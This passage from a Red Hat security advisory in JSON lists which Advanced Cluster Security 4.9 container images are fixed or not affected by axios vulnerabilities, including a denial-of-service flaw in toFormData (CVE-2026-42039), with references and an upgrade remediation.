"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "axios: Axios: Arbitrary HTTP header injection via prototype pollution"
},
{
"cve": "CVE-2026-42039",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-04-24T19:01:44.887156+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2461630"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client for browsers and Node.js. This vulnerability occurs because the `toFormData` function recursively processes nested objects without a depth limit. A remote attacker can exploit this by sending deeply nested request data, which causes the Node.js process to crash due to a RangeError, leading to a potential Denial of Service (DoS) if the process crashes.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Node.js: Axios: Denial of Service via unbounded recursion in toFormData with deeply nested request data",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42039"
},
{
"category": "external",
"summary": "RHBZ#2461630",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461630"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42039",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42039"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42039",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42039"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9",
"url": "https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9"
}
],
"release_date": "2026-04-24T18:01:30.775000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T14:29:00+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"restart_required": {
"category": "none"
},
